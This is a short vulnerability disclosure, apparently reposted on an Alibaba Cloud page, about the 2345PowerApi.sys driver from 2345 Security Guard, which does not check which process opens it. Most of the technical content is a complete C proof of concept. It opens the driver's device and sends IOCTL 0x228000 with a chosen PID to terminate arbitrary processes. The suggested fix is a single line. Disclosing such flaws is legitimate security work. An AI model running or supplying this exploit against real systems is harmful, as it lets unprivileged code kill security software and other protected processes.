2345 security guard Driver Design Problems

Source: Internet
Author: User

2345 security guard Driver Design Problems

2345 the 2345powerapi. sys driver installed by the security guard does not verify the process of opening the device object. Any process that has the permission to open the device object can use the function in its driver. Since it is called powerapi, it must be very good and powerful. I tried to shut down any process. Others are not tested.
 

//#include <Windows.h>#define CONTROLCODE1 0x228000HANDLE OpenDevice(TCHAR *devName){HANDLE hDev = CreateFile(devName, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);return hDev;}void CloseDevice(HANDLE hDev){CloseHandle(hDev);}int SendMessageToDev(HANDLE hDev, DWORD dwIoControlCode, BYTE *inBuffer, DWORD inBufferSize, BYTE *outBuffer, DWORD outBufferSize){DWORD outLength;BOOL ret = DeviceIoControl(hDev, dwIoControlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &outLength, NULL);if (ret)return outLength;elsereturn -1;}void Poc(){HANDLE hDev = OpenDevice(_T("\\\\.\\2345PowerApi"));if (hDev == INVALID_HANDLE_VALUE) {printf("[-] Open device failed!gle:%d\n", GetLastError());return;}DWORD pid = 4;printf("Input pid:\n\t");scanf_s("%d", &pid);int ret = SendMessageToDev(hDev, CONTROLCODE1, (BYTE *)&pid, 4, NULL, 0);if (ret < 0) {printf("[-]Control device failed, gle:%d.\n", GetLastError());return;}CloseDevice(hDev);printf("[*]Ok!\n");return;}int _tmain(int argc, _TCHAR* argv[]){Poc();return 0;}

 

Solution:

Strictly restrict processes that can use this driver

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.